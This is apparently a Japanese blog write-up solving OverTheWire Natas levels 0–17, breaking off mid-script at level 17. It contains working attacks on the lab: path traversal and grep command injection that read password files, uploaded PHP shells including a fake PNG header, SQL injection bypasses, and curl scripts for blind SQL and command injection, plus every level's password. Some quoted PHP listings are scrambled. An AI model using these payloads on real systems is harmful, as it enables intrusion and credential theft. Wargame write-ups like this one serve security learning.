Over the Wire - Natas
https://overthewire.org/wargames/natas/
Banditが無事に終わったのでNatasに挑戦してみる。
Level 0
今回はSSHでログインする必要はないらしい(というかできないらしい)。
以下のようなサイトにアクセスしてそこからパスワードを探すといった感じ。パスワードはアクセスしたときにBasic認証のプロンプトが出てくるのでそこに渡す。
http://natas0.natas.labs.overthewire.org/
右上にあるWeChallというのはこういうチャレンジサイトの統計表示してくれるプラグインとのこと。チャレンジには関係ない。
Level 0 to 1
とりあえずソースコードを見てみる。
普通にあった。
パスワード:g9D9cREhslqBKtcA2uocGHPfMZVzeFK6
Level 1 to 2
右クリックがブロックされてる。
まあChromeの場合はスキームにview-source:
を指定すればいいので簡単。
パスワード:h4ubbcXrWqsTo7GGnnUMLppXbOogfBZ7
Level 2 to 3
とりあえずまずソースコードを見る。
files/pixel.png
が怪しい。ダウンロードして調べてみる。
~$ identify -verbose pixel.png
Image:
Filename: pixel.png
Permissions: rw-r--r--
Format: PNG (Portable Network Graphics)
Mime type: image/png
...
Properties:
date:create: 2023-06-24T15:04:17+00:00
date:modify: 2023-06-24T15:04:16+00:00
date:timestamp: 2023-06-24T15:21:19+00:00
png:bKGD: chunk was found (see Background color, above)
png:cHRM: chunk was found (see Chromaticity, above)
png:gAMA: gamma=0.45455 (See Gamma, above)
png:IHDR.bit-depth-orig: 1
png:IHDR.bit_depth: 1
png:IHDR.color-type-orig: 3
png:IHDR.color_type: 3 (Indexed)
png:IHDR.interlace_method: 0 (Not interlaced)
png:IHDR.width,height: 1, 1
png:pHYs: x_res=72, y_res=72, units=0
png:PLTE.number_colors: 2
png:sRGB: intent=0 (Perceptual Intent)
png:text: 2 tEXt/zTXt/iTXt chunks were found
png:tRNS: chunk was found
signature: 66aa5265fb25a9151e9b998b2153e6a19358611fed4e7bdc7b0885ef36ca04de
...
Version: ImageMagick 7.1.1-11 Q16-HDRI aarch64 21206 https://imagemagick.org
特に何もなかった。これはただのダミー?
やっぱりダミーだった。user.txt
にパスワード発見。
パスワード:G6ctbMJ5Nb4cbFwhpMPSvxGHhQ7I6W8Q
Level 3 to 4
“Not event Google will find it this
time….”の文が怪しい。Googleが見つけられないならrobots.txt
に何かあるはず。
やっぱり。/s3cr3t/
ディレクトリがクロールされないように設定されていた。
パスワード:tKOcJIbzM4lTs8hbCmzn5Zr4434fGZQm
Level 4 to 5
メッセージ的にHTTPリクエストのヘッダーをいじれば良さそう。
Origin
をhttp://natas5.natas.labs.overthewire.org/
にしてみるが反応なし。
Referer
をセットしてみたらいけた。
パスワード:Z0NsrtIkJoKALBCLi5eqFfcRN82Au2oD
Level 5 to 6
認証はヘッダー関連じゃなさそうなのでとりあえずクッキーを見てみる。
このloggedin
の値を1
にすればいけそう。
パスワード:fOIvE0MDtPTgRhqmmvvAOt2EfXR6uQgR
Level 6 to 7
View sourcecode
のリンクはなんぞや。
まさかのPHPコードを見してくれた。
インプットの値が$secret
と同じである必要があるっぽい。とりあえず$secret
が来ているであろうincludes/secret.inc
を見てみる。
見つけた。あとはこのFOEIUWGHFEEUHOFUOIU
をフォームに入力すれば良き。
パスワード:jmxSiH3SP6Sonf8dv66ng8v1cIEdjXWr
Level 7 to 8
GET
パラメータで表示するページを指定する仕組みらしい。
ソースコードを見てみるとヒントに/etc/natas_webpass/natas8
がパスワードのファイルだと書いてあるので、page
パラメータにそのままパスを指定してみる。
パスワード:a6bZCNYwdKqN5cGP11ZdtPg0iImQQhAB
Level 8 to 9
またView sourcecode
でソースコードが見れるよう。
<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src="http://natas.labs.overthewire.org/js/wechall-data.js"></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas8", "pass": "<censored>" };</script></head>
<body>
<h1>natas8</h1>
<div id="content">
<?
$encodedSecret = "3d3d516343746d4d6d6c315669563362";
$secret) {
function encodeSecret(strrev(base64_encode($secret)));
return bin2hex(
}
if(array_key_exists("submit", $_POST)) {
$_POST['secret']) == $encodedSecret) {
if(encodeSecret("Access granted. The password for natas9 is <censored>";
print
} else { "Wrong secret";
print
}
} ?>
<form method=post>
Input secret: <input name=secret><br>
<input type=submit name=submit>
</form>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>
$encodedSecret
がエンコードされる前の文字列がわかれば良さそう。ハッシュ関数は使われていないみたいなのでREPLで逆の操作ができる。
~$ php -a
Interactive shell
php > $encodedSecret = "3d3d516343746d4d6d6c315669563362";
php > echo base64_decode(strrev(hex2bin($encodedSecret)));
oubWYf2kBq
あとは前と同様にoubWYf2kBq
をフォームに入力する。
パスワード:Sda6t0vkOPkM8YeOZkAGVhFoaplvlJFd
Level 9 to 10
<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src="http://natas.labs.overthewire.org/js/wechall-data.js"></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas9", "pass": "<censored>" };</script></head>
<body>
<h1>natas9</h1>
<div id="content">
<form>
Find words containing: <input name=needle><input type=submit name=submit value=Search><br><br>
</form>
Output:
<pre>
<?
$key = "";
if(array_key_exists("needle", $_REQUEST)) { $key = $_REQUEST["needle"];
}
if($key != "") { passthru("grep -i $key dictionary.txt");
} ?>
</pre>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>
フォームに入力した値がgrep
コマンドに渡されているらしい。/etc/natas_webpass/natas10
にパスワードがあるので、.*
をパターンにして探せば良さそう。
パスワード:D44EcsFkLxPIkAAKLosx8z3hxX1Z4MCE
Level 10 to 11
<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src="http://natas.labs.overthewire.org/js/wechall-data.js"></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas10", "pass": "<censored>" };</script></head>
<body>
<h1>natas10</h1>
<div id="content">
For security reasons, we now filter on certain characters<br/><br/>
<form>
Find words containing: <input name=needle><input type=submit name=submit value=Search><br><br>
</form>
Output:
<pre>
<?
$key = "";
if(array_key_exists("needle", $_REQUEST)) { $key = $_REQUEST["needle"];
}
if($key != "") {
preg_match('/[;|&]/',$key)) {
if("Input contains an illegal character!";
print
} else {"grep -i $key dictionary.txt");
passthru(
}
} ?>
</pre>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>
どうやら前回使った文字はフィルターされていないようなので、同じ手法が使えそう。
おそらく前回は.* /etc/natas_webpass/natas10;
とセミコロン付きで入力するべきだったのだろう。ただgrep
は複数ファイルを取ることができるので問題ない。
パスワード:1KFqoJXi6hRaPluAmk8ESDW4fSysRoIg
Level 11 to 12
<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src="http://natas.labs.overthewire.org/js/wechall-data.js"></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas11", "pass": "<censored>" };</script></head>
<?
$defaultdata = array( "showpassword"=>"no", "bgcolor"=>"#ffffff");
$in) {
function xor_encrypt($key = '<censored>'
$text = $in;
$outText = '';
// Iterate through each character
$i=0;$i<strlen($text);$i++) {
for($outText .= $text[$i] ^ $key[$i % strlen($key)];
}
$outText;
return
}
$def) {
function loadData($_COOKIE;
global $mydata = $def;
array_key_exists("data", $_COOKIE)) {
if($tempdata = json_decode(xor_encrypt(base64_decode($_COOKIE["data"])), true);
is_array($tempdata) && array_key_exists("showpassword", $tempdata)
if(&& array_key_exists("bgcolor", $tempdata)) {
preg_match('/^#(?:[a-f\d]{6})$/i', $tempdata['bgcolor'])) {
if ($mydata['showpassword'] = $tempdata['showpassword'];
$mydata['bgcolor'] = $tempdata['bgcolor'];
}
}
} $mydata;
return
}
$d) {
function saveData(setcookie("data", base64_encode(xor_encrypt(json_encode($d))));
}
$data = loadData($defaultdata);
if(array_key_exists("bgcolor",$_REQUEST)) {
preg_match('/^#(?:[a-f\d{6})$/i', $_REQUEST['bgcolor'])) {
if ($data['bgcolor'] = $_REQUEST['bgcolor'];
}
}
$data);
saveData(?>
<h1>natas11</h1>
<div id="content">
<body style="background: <?=$data['bgcolor']?>;">
Cookies are protected with XOR encryption<br/><br/>
<?
if($data["showpassword"] == "yes") {
"The password for natas12 is <censored><br>";
print
}
?>
<form>
Background color: <input name=bgcolor value="<?=$data['bgcolor']?>">
<input type=submit value="Set color">
</form>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>
xor_encrypt
でエンコードされたJSONのshowpassword
キーの値がyes
になっているとパスワードが表示されるようになっている。
XORの性質として、ビットごとに独立であること、またA ⊕ X = BでA, Bがわかっているときに、Xもわかることがある。
具体的には、A ⊕ X = B ⇔ A ⊕ A ⊕ X = A ⊕ B ⇔ 0 ⊕ X = A ⊕ B ⇔ X = A ⊕ Bと計算できる。
これを利用すれば、$key
の値が分かりそう。
➜ ~dl php -a
zsh: correct 'php' to 'pp' [nyae]? n
Interactive shell
php > $defaultdata = array( "showpassword"=>"no", "bgcolor"=>"#ffffff");
php > echo json_encode($defaultdata);
{"showpassword":"no","bgcolor":"#ffffff"}
この{"showpassword":"no","bgcolor":"#ffffff"}
をxor_encrypt
にかけたのが、
php > echo base64_decode('MGw7JCQ5OC04PT8jOSpqdmkgJ25nbCorKCEkIzlscm5oKC4qLSgubjY%3D');
0l;$$98-8=?#9*jvi 'ngl*+(!$#9lrnh(.*-(.n67
これになるはず。
つまり、{"showpassword":"no","bgcolor":"#ffffff"}
がA、0l;$$98-8=?#9*jvi 'ngl*+(!$#9lrnh(.*-(.n67
がBになる。
X = A ⊕ Bなので、
php > echo '{"showpassword":"no","bgcolor":"#ffffff"}' ^ "0l;$$98-8=?#9*jvi 'ngl*+(!$#9lrnh(.*-(.n67";
KNHLKNHLKNHLKNHLKNHLKNHLKNHLKNHLKNHLKNHLK
XはKNHL
になる。
これをもとに{"showpassword":"yes","bgcolor":"#ffffff"}
をエンコードする。
php > function xor_encrypt($in) {
php { $key = 'KNHL';
php { $text = $in;
php { $outText = '';
php {
php { // Iterate through each character
php { for($i=0;$i<strlen($text);$i++) {
php { $outText .= $text[$i] ^ $key[$i % strlen($key)];
php { }
php {
php { return $outText;
php { }
php > echo base64_encode(xor_encrypt('{"showpassword":"yes","bgcolor":"#ffffff"}'));
MGw7JCQ5OC04PT8jOSpqdmk3LT9pYmouLC0nICQ8anZpbS4qLSguKmkz
php >
これをクッキーにセットすれば完了!
こういう系の問題楽しい。
パスワード:YWqo0pjpcXzSIl5NMAVxg12QxeC1w9QG
Level 12 to 13
<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src="http://natas.labs.overthewire.org/js/wechall-data.js"></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas12", "pass": "<censored>" };</script></head>
<body>
<h1>natas12</h1>
<div id="content">
<?php
function genRandomString() {$length = 10;
$characters = "0123456789abcdefghijklmnopqrstuvwxyz";
$string = "";
$p = 0; $p < $length; $p++) {
for ($string .= $characters[mt_rand(0, strlen($characters)-1)];
}
$string;
return
}
$dir, $ext) {
function makeRandomPath($path = $dir."/".genRandomString().".".$ext;
do { file_exists($path));
} while($path;
return
}
$dir, $fn) {
function makeRandomPathFromFilename($ext = pathinfo($fn, PATHINFO_EXTENSION);
$dir, $ext);
return makeRandomPath(
}
if(array_key_exists("filename", $_POST)) {
$target_path = makeRandomPathFromFilename("upload", $_POST["filename"]);
if(filesize($_FILES['uploadedfile']['tmp_name']) > 1000) {
"File is too big";
echo
} else { move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) {
if("The file <a href=\"$target_path\">$target_path</a> has been uploaded";
echo
} else{ "There was an error uploading the file, please try again!";
echo
}
}
} else { ?>
<form enctype="multipart/form-data" action="index.php" method="POST">
<input type="hidden" name="MAX_FILE_SIZE" value="1000" />
<input type="hidden" name="filename" value="<?php print genRandomString(); ?>.jpg" />
Choose a JPEG to upload (max 1KB):<br/>
<input name="uploadedfile" type="file" /><br />
<input type="submit" value="Upload File" />
</form>
<?php } ?>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>
ファイルタイプのフィルターはかかっていないみたいので、PHPファイルをアップロードしてみる。
~$ cat > test.php << EOF
heredoc> <?php
heredoc> echo file_get_contents("/etc/natas_webpass/natas12");
heredoc> EOF
ソースコードを見るに拡張子はフォームの値から取っているみたいなのでそこだけ.php
に変えておく。
アップロードすると無事にパスワードが表示されている。
パスワード:lW3jYRI02ZKDBb8VtQBU1f6eDRo6WEj9
Level 13 to 14
<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src="http://natas.labs.overthewire.org/js/wechall-data.js"></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas13", "pass": "<censored>" };</script></head>
<body>
<h1>natas13</h1>
<div id="content">
For security reasons, we now only accept image files!<br/><br/>
<?php
function genRandomString() {
$length = 10;
$characters = "0123456789abcdefghijklmnopqrstuvwxyz";
$string = "";
for ($p = 0; $p < $length; $p++) {
$string .= $characters[mt_rand(0, strlen($characters)-1)];
}return $string;
}
function makeRandomPath($dir, $ext) {
do {
$path = $dir."/".genRandomString().".".$ext;
while(file_exists($path));
} return $path;
}
function makeRandomPathFromFilename($dir, $fn) {
$ext = pathinfo($fn, PATHINFO_EXTENSION);
return makeRandomPath($dir, $ext);
}
if(array_key_exists("filename", $_POST)) {
$target_path = makeRandomPathFromFilename("upload", $_POST["filename"]);
$err=$_FILES['uploadedfile']['error'];
if($err){
if($err === 2){
echo "The uploaded file exceeds MAX_FILE_SIZE";
else{
} echo "Something went wrong :/";
}else if(filesize($_FILES['uploadedfile']['tmp_name']) > 1000) {
} echo "File is too big";
else if (! exif_imagetype($_FILES['uploadedfile']['tmp_name'])) {
} echo "File is not an image";
else {
} if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) {
echo "The file <a href=\"$target_path\">$target_path</a> has been uploaded";
else{
} echo "There was an error uploading the file, please try again!";
}
}else {
} ?>
<form enctype="multipart/form-data" action="index.php" method="POST">
<input type="hidden" name="MAX_FILE_SIZE" value="1000" />
<input type="hidden" name="filename" value="<?php print genRandomString(); ?>.jpg" />
Choose a JPEG to upload (max 1KB):<br/>
<input name="uploadedfile" type="file" /><br />
<input type="submit" value="Upload File" />
</form>
<?php } ?>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>
画像しかアップロードできないように対策されてる。
色々考えたけど他に思いつかなかったので、exif_imagetype
を欺く方針で進めていく。
検索した結果xxd
でファイルシグネチャを変えることができるらしい。
https://askubuntu.com/questions/1034267/how-do-i-change-file-headers-from-the-command-line
適当に用意したPNG
ファイルのシグネチャを確認して、新しく作ったtest.php
に書き込む。
~$ xxd test.png | head -1
00000000: 8950 4e47 0d0a 1a0a 0000 000d 4948 4452 .PNG........IHDR
~$ touch test.php
~$ xxd -r -p <(echo 8950 4e47 0d0a 1a0a 0000 000d 4948 4452) test.php
~$ file test.php
test.php: PNG image data, 168442943 x 1885892618, 10-bit
test.php
を開くとヘッダーが書き込まれているので、PHPコードを追加する。<?php
より前のコンテンツは無視されるのでこれでも動くはず。
PNG
�
IHDR
<?php
echo file_get_contents("/etc/natas_webpass/natas14");
前回と同様に拡張子だけ変更してサブミット。
パスワード:qPazSJBmrmU7UQJv17MHk1PGC4DxZMEP
Level 14 to 15
<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src="http://natas.labs.overthewire.org/js/wechall-data.js"></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas14", "pass": "<censored>" };</script></head>
<body>
<h1>natas14</h1>
<div id="content">
<?php
if(array_key_exists("username", $_REQUEST)) {
$link = mysqli_connect('localhost', 'natas14', '<censored>')
$link, 'natas14');
mysqli_select_db($query = "SELECT * from users where username=\"".$_REQUEST["username"]."\" and password=\"".$_REQUEST["password"]."\"";
array_key_exists("debug", $_GET)) {
if("Executing query: $query<br>";
echo
}
mysqli_num_rows(mysqli_query($link, $query)) > 0) {
if("Successful login! The password for natas15 is <censored><br>";
echo
} else { "Access denied!<br>";
echo
}$link);
mysqli_close(
} else { ?>
<form action="index.php" method="POST">
Username: <input name="username"><br>
Password: <input name="password"><br>
<input type="submit" value="Login" />
</form>
<?php } ?>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>
定番の" or 1 --
を入力してみる。--
の後にスペースを入れる必要があるので注意。
- From a
--
sequence to the end of the line. In MySQL, the--
(double-dash) comment style requires the second dash to be followed by at least one whitespace or control character (such as a space, tab, newline, and so on). This syntax differs slightly from standard SQL comment syntax, as discussed in Section 1.6.2.4, “‘–’ as the Start of a Comment”.
(これに気づかず30分ハマったとは口が裂けても言えない、、)
パスワード:TTkaI7AWG4iDERztBcEyKV7kRXH1EZRB
Level 15 to 16
<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src="http://natas.labs.overthewire.org/js/wechall-data.js"></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas15", "pass": "<censored>" };</script></head>
<body>
<h1>natas15</h1>
<div id="content">
<?php
/*
CREATE TABLE `users` (
`username` varchar(64) DEFAULT NULL,
`password` varchar(64) DEFAULT NULL
);
*/
if(array_key_exists("username", $_REQUEST)) {
$link = mysqli_connect('localhost', 'natas15', '<censored>');
$link, 'natas15');
mysqli_select_db($query = "SELECT * from users where username=\"".$_REQUEST["username"]."\"";
array_key_exists("debug", $_GET)) {
if("Executing query: $query<br>";
echo
}
$res = mysqli_query($link, $query);
$res) {
if(mysqli_num_rows($res) > 0) {
if("This user exists.<br>";
echo
} else { "This user doesn't exist.<br>";
echo
}
} else { "Error in query.<br>";
echo $link);
} mysqli_close(
} else { ?>
<form action="index.php" method="POST">
Username: <input name="username"><br>
<input type="submit" value="Check existence" />
</form>
<?php } ?>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>
ユーザーnatas16
が存在することを確認。
ソースコードを見る限りクエリの結果を直接表示する方法はなさそう。
natas16" and password="abc..." --
と総当たり攻撃はできるけど流石に厳しい。
like
とワイルドカードを使って一文字ずつ決めていくのなら行けそうではある。
とりあえずその方針でゴリ押すことに。
~$ touch test.sh
#!/bin/bash
query() {
if curl -s -u natas15:TTkaI7AWG4iDERztBcEyKV7kRXH1EZRB -X POST -d "username=natas16\" and password like binary \"$1$2%\" -- " http://natas15.natas.labs.overthewire.org/ | grep -q exists; then
echo "$2"
fi
}
pass=""
for _ in {1..32}; do
pass+=$(
for l in {a..z}; do query "$pass" "$l"; done;
for l in {A..Z}; do query "$pass" "$l"; done;
for n in {0..9}; do query "$pass" "$n"; done;)
echo "$pass"
done
今までのパスワードは32文字の英数字だったのでその条件で総当たりしている。
MySQLで小文字と大文字を区別するにはlike binary
でバイナリ値比較をすればいいらしい。
~$ ./test.sh
T
TR
TRD
TRD7
TRD7i
TRD7iZ
TRD7iZr
TRD7iZrd
TRD7iZrd5
TRD7iZrd5g
TRD7iZrd5gA
TRD7iZrd5gAT
TRD7iZrd5gATj
TRD7iZrd5gATjj
TRD7iZrd5gATjj9
TRD7iZrd5gATjj9P
TRD7iZrd5gATjj9Pk
TRD7iZrd5gATjj9PkP
TRD7iZrd5gATjj9PkPE
TRD7iZrd5gATjj9PkPEu
TRD7iZrd5gATjj9PkPEua
TRD7iZrd5gATjj9PkPEuaO
TRD7iZrd5gATjj9PkPEuaOl
TRD7iZrd5gATjj9PkPEuaOlf
TRD7iZrd5gATjj9PkPEuaOlfE
TRD7iZrd5gATjj9PkPEuaOlfEj
TRD7iZrd5gATjj9PkPEuaOlfEjH
TRD7iZrd5gATjj9PkPEuaOlfEjHq
TRD7iZrd5gATjj9PkPEuaOlfEjHqj
TRD7iZrd5gATjj9PkPEuaOlfEjHqj3
TRD7iZrd5gATjj9PkPEuaOlfEjHqj32
TRD7iZrd5gATjj9PkPEuaOlfEjHqj32V
久しぶりにBash書いた。頭がバグる。
パスワード:TRD7iZrd5gATjj9PkPEuaOlfEjHqj32V
Level 16 to 17
<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src="http://natas.labs.overthewire.org/js/wechall-data.js"></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas16", "pass": "<censored>" };</script></head>
<body>
<h1>natas16</h1>
<div id="content">
For security reasons, we now filter even more on certain characters<br/><br/>
<form>
Find words containing: <input name=needle><input type=submit name=submit value=Search><br><br>
</form>
Output:
<pre>
<?
$key = "";
if(array_key_exists("needle", $_REQUEST)) {
$key = $_REQUEST["needle"];
}
if($key != "") {
preg_match('/[;|&`\'"]/',$key)) {
if("Input contains an illegal character!";
print
} else { passthru("grep -i \"$key\" dictionary.txt");
}
} ?>
</pre>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>
SQLからgrep
に戻った。
;|&`\'"
が使えなくなっているので少なくとも文字列を閉じることはできなさそう。
ただ"$(echo hello)"
みたいな文字列置換はできそう。/dev/stdout
か/dev/stdin
にリダイレクトすれば出力される説。
~$ echo password > pass.txt
~$ echo hello > dict.txt
~$ grep -i "$(cat pass.txt > /dev/stdout)" dict.txt
~$ grep -i "$(cat pass.txt > /dev/tty)" dict.txt
ダメだった。リダイレクトしても文字列内で展開されるだけのよう。
お手上げだったのでちょっと解説を見てきた。
https://mcpa.github.io/natas/wargame/web/overthewire/2015/10/01/natas16/
どうやら前回と同様に一文字ずつ決めていくらしい。
クエリ文字列に$(grep ^a /etc/natas_webpass/natas17)
を渡すと、
grep
がヒットしなかった場合:
- パスワードは
a
で始まらない - クエリ文字列は空
- 表示されるエントリーも空
grep
がヒットした場合:
- パスワードは
a
で始まる - クエリ文字列はパスワード
- 表示されるエントリーは多分空
dict.txt
にパスワードが入っていれば別
これではどちらの場合でもエントリーが空なので判別できない。
そこで、クエリ文字列にさらにAfricans
を追加し、Africans$(grep a /etc/natas_webpass/natas17)
とすることで、
grep
がヒットしなかった場合:
- パスワードは
a
で始まらない - クエリ文字列は
Africans
- 表示されるエントリーは
Africans
grep
がヒットした場合:
- パスワードは
a
で始まる - クエリ文字列は
Africans
+パスワード - 表示されるエントリーは空
Africans***
といったエントリーは存在しないことを確認ずみ
となるようにする。
あともう一つ注意点として、Bashの^
はQuick
Substitutionというものに使われているのでエスケープする必要があるよう。
https://thepracticalsysadmin.com/bash-quick-substitution/
~$ grep -i ^p pass.txt
grep: To Be Sorted: Is a directory
~$ grep -i \^p pass.txt
password
あとは同じように総当たりのスクリプトを書く。
#!/bin/bash
query() {
if ! curl -s -u natas16:TRD7iZrd5gATjj9PkPEuaOlfEjHqj32V -X POST -d 'needle=Africans$(grep \^'"$1$2"' /etc/natas_webpass/natas17)' http://natas16.natas.labs.overthewire.org/ | grep -q Africans; then
echo "$2"
fi
}
pass=""
for _ in {1..32}; do
pass+=$(
for l in {a..z}; do query "$pass" "$l"; done;
for l in {A..Z}; do query "$pass" "$l"; done;
for n in {0..9}; do query "$pass" "$n"; done;)
echo "$pass"
done
~$ ./test.sh
X
Xk
XkE
XkEu
XkEuC
XkEuCh
XkEuChE
XkEuChE0
XkEuChE0S
XkEuChE0Sb
XkEuChE0Sbn
XkEuChE0SbnK
XkEuChE0SbnKB
XkEuChE0SbnKBv
XkEuChE0SbnKBvH
XkEuChE0SbnKBvH1
XkEuChE0SbnKBvH1R
XkEuChE0SbnKBvH1RU
XkEuChE0SbnKBvH1RU7
XkEuChE0SbnKBvH1RU7k
XkEuChE0SbnKBvH1RU7ks
XkEuChE0SbnKBvH1RU7ksI
XkEuChE0SbnKBvH1RU7ksIb
XkEuChE0SbnKBvH1RU7ksIb9
XkEuChE0SbnKBvH1RU7ksIb9u
XkEuChE0SbnKBvH1RU7ksIb9uu
XkEuChE0SbnKBvH1RU7ksIb9uuL
XkEuChE0SbnKBvH1RU7ksIb9uuLm
XkEuChE0SbnKBvH1RU7ksIb9uuLmI
XkEuChE0SbnKBvH1RU7ksIb9uuLmI7
XkEuChE0SbnKBvH1RU7ksIb9uuLmI7s
XkEuChE0SbnKBvH1RU7ksIb9uuLmI7sd
これは思いつかなかった。天才。
パスワード:XkEuChE0SbnKBvH1RU7ksIb9uuLmI7sd
Level 17 to 18
<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src="http://natas.labs.overthewire.org/js/wechall-data.js"></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas17", "pass": "<censored>" };</script></head>
<body>
<h1>natas17</h1>
<div id="content">
<?php
/*
CREATE TABLE `users` (
`username` varchar(64) DEFAULT NULL,
`password` varchar(64) DEFAULT NULL
);
*/
if(array_key_exists("username", $_REQUEST)) {
$link = mysqli_connect('localhost', 'natas17', '<censored>');
mysqli_select_db($link, 'natas17');
$query = "SELECT * from users where username=\"".$_REQUEST["username"]."\"";
array_key_exists("debug", $_GET)) {
if("Executing query: $query<br>";
echo
} $res = mysqli_query($link, $query);
$res) {
if(mysqli_num_rows($res) > 0) {
if(//echo "This user exists.<br>";
} else { //echo "This user doesn't exist.<br>";
}
} else { //echo "Error in query.<br>";
}mysqli_close($link);
} else { ?>
<form action="index.php" method="POST">
Username: <input name="username"><br>
<input type="submit" value="Check existence" />
</form>
<?php } ?>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>
全部コメントアウトされている!?
まじで何も見当がつかない。
答えを見ました。MySQLにはsleep
関数があって、where
句で使うとショートサーキットによって実行時間を変えることができるとのこと。
https://www.abatchy.com/2016/12/natas-level-17
やばすぎる。天才すぎて怖い。
せめてスクリプトは自分で書いて精進します。
#!/bin/bash
query() {
